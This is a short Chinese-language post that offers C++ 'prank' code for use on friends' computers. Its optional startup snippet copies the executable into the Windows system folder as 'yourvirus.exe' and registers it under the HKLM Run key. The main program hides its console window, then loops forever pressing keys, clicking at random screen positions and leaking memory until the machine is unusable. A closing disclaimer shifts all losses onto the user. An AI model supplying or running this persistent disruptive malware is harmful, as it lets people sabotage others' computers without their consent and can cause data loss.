hello
今天我给大家带来增进好友感情的代码,上代码!!!真格的
如果要开机自启(谨慎)在main函数的开头加上这个
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\yourvirus.exe");
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Writing to the Registry Example",
0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
代码
#include<bits/stdc++.h>
#include<windows.h>
#include <stdlib.h>
using namespace std;
int main(){
// 隐藏控制台窗口
HWND hWnd = GetConsoleWindow();
if (hWnd) {
ShowWindow(hWnd, SW_HIDE);
}
srand(time(0));//随机种子
while(1){
keybd_event(VK_UP, 0, 0, 0);
keybd_event(VK_UP, 0, KEYEVENTF_KEYUP, 0);//防管理器
POINT p;p.x=rand()%1025;p.y=rand()%817;
SetCursorPos(p.x,p.y);//将鼠标移动到屏幕的随机
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);//瞎按
long long *o=new long long;
int *i=new int;
double *d=new double;//爆内存,可删,不然过于。。。
}
}
这个代码灰常牛,谨慎使用
免责声明:本文提供的代码造成的任何损失自行承担